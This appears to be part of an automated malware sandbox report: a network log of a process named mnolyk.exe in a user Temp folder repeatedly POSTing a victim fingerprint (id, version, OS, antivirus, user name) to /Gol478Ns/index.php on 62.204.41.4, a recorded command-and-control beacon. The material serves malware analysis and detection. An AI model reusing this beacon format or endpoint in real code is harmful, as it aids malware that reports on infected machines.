Feb 7, 2023 23:07:43.506808996 CET	274	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.7	49710	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:05.446085930 CET	120	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:05.508915901 CET	120	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
160	192.168.2.7	49855	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:43.680991888 CET	275	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:43.744910002 CET	275	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
161	192.168.2.7	49856	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:43.927942991 CET	276	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:43.990817070 CET	276	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
162	192.168.2.7	49857	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:44.177016020 CET	277	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:44.241430998 CET	277	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
163	192.168.2.7	49858	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:44.420397997 CET	278	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:44.483531952 CET	278	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
164	192.168.2.7	49859	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:44.659898996 CET	279	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:44.728530884 CET	279	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
165	192.168.2.7	49860	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:44.917310953 CET	280	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:44.983091116 CET	280	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
166	192.168.2.7	49861	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:45.159847975 CET	281	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:45.223606110 CET	281	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
167	192.168.2.7	49862	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:45.411367893 CET	282	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:45.477965117 CET	282	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
168	192.168.2.7	49863	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:45.653672934 CET	283	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:45.718514919 CET	283	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
169	192.168.2.7	49864	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:45.902188063 CET	284	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:45.966905117 CET	284	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.7	49711	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:05.695209980 CET	121	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:05.759574890 CET	121	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
170	192.168.2.7	49865	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:46.144260883 CET	285	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:46.209244013 CET	285	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
171	192.168.2.7	49866	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:46.384764910 CET	286	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:46.450736046 CET	286	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
172	192.168.2.7	49867	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:46.640724897 CET	287	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:46.707313061 CET	287	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
173	192.168.2.7	49868	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:46.881014109 CET	288	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:46.946614027 CET	288	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
174	192.168.2.7	49869	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:47.148730040 CET	289	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:47.216913939 CET	289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
175	192.168.2.7	49870	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:47.398417950 CET	290	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:47.464008093 CET	290	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
176	192.168.2.7	49871	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:47.646610975 CET	291	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:47.711477995 CET	291	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
177	192.168.2.7	49872	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:47.908431053 CET	292	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:47.973015070 CET	292	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
178	192.168.2.7	49873	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:48.143492937 CET	293	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:48.210887909 CET	293	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
179	192.168.2.7	49874	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
